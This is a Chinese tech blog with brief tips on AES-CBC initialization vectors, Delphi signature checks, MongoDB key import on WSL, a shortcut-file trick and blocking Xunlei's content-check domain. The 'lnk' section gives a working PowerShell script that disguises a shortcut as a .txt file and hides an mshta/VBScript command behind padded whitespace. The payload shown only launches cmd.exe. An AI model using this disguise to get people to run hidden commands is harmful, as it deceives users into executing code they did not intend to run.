AES CBC的一个需要注意的地方

使用AES的CBC模式加密时会传入一个16字节的缓冲区作为初始向量(Initialization Vector)
然后这个东西加密时传入的时什么,那么解密的时候也要传入相对于的值,不然解密后的数据前16字节会乱码。

一般情况下大家都是传入16个00作为初始向量

但是有些情况下会传入非00值,笔者也是在做代码对接时才遇到这个问题。

如果不是被资深大佬的同事点到这个估计还要debug半天。。

Delphi 检测文件数字签名

Uses Winapi.Windows, JwaSoftpub, CAPICOM_TLB, JwaWintrust;

Function IsCodeSigned(const Filename:String):Boolean;
var
  FileInfo   :TWinTrustFileInfo;
  TrustData  :TWinTrustData;
begin
  ZeroMemory(@FileInfo, SizeOf(TWintrustFileInfo));
  ZeroMemory(@TrustData, SizeOf(TWinTrustData));
  FileInfo.cbStruct             := SizeOf(TWintrustFileInfo);
  FileInfo.pcwszFilePath        := PWideChar(FileName);
  TrustData.cbStruct            := sizeof(TrustData);
  TrustData.dwUIChoice          := WTD_UI_NONE;
  TrustData.fdwRevocationChecks := WTD_REVOKE_NONE;
  TrustData.dwUnionChoice       := WTD_CHOICE_FILE;
  TrustData.InfoUnion.pFile     := @FileInfo;
  Result := WinVerifyTrust(INVALID_HANDLE_VALUE, WINTRUST_ACTION_GENERIC_VERIFY_V2, TrustData) = ERROR_SUCCESS;
end;

WSL Ubuntu 安装MongoDb 4.0导入公钥时遇到一个坑

源中默认是MongoDb 3.x

但是我想用4.0,然后按照mongodb官方的docs进行第一步操作导入公钥

sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 9DA31620334BD75D9DCB49F368818C72E52529D4

结果出现下面错误

gpg: connecting dirmngr at '/tmp/apt-key-gpghome.OoGLcR7JCb/S.dirmngr' failed: IPC connect call failed
gpg: keyserver receive failed: No dirmngr


解决方法:

浏览器打开(在Ubuntu的key服务器上搜索mongodb 4.0)

http://keyserver.ubuntu.com/pks/lookup?search=mongodb%204.0&op=vindex

搜索结果

pub  4096R/E52529D4 2018-04-18            

uid MongoDB 4.0 Release Signing Key <packaging@mongodb.com>sig  sig3  E52529D4 2018-04-18 __________ 2023-04-17 [selfsig]

点击   E52529D4  的查看公钥详情,在详情页最顶一行大字!


Public Key Server -- Get "0x68818c72e52529d4 "

复制下 0x68818c72e52529d4 这串字符串然后执行命令进行导入

curl -sL "http://keyserver.ubuntu.com/pks/lookup?op=get&search=0x68818c72e52529d4" | sudo apt-key add

导入成功后返回 Ok 字样

再执行apt-get update 更新一下缓存

更新完成后 apt-get install -y mongodb-org

即可完成安装



其他软件导入公钥时遇到 IPC connect call failed 时同样可以使用该方法进行导入

lnk的一个玩法。

$Shell = New-Object -ComObject WScript.Shell
$Dir = Split-Path -Parent $MyInvocation.MyCommand.Definition
$Shortcut = $Shell.CreateShortcut("$Dir\test.txt.lnk")
$Shortcut.TargetPath = "%Windir%\System32\mshta.exe"
$Shortcut.IconLocation = "shell32.dll,70"
$Shortcut.Arguments ='                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               vbscript:CreateObject("WScript.Shell").Run("cmd.exe",5)(window.close)'

$Shortcut.Save()



保存为.ps1然后用PowerShell运行

生成一个test.lnk 图标样式为txt

迅雷下载文件提示任务包含违规内容的解决方法

以管理员权限打开CMD 或者Power Shell输入下面命令并回车运行即可

Echo 0.0.0.0 hub5idx.shub.sandai.net>>%Windir%\System32\drivers\etc\hosts

通过屏蔽 hub5idx.shub.sandai.net这个域名既可

如果有权限登陆路由器一类的话可以直接在路由器或相关设备中屏蔽掉

一劳永逸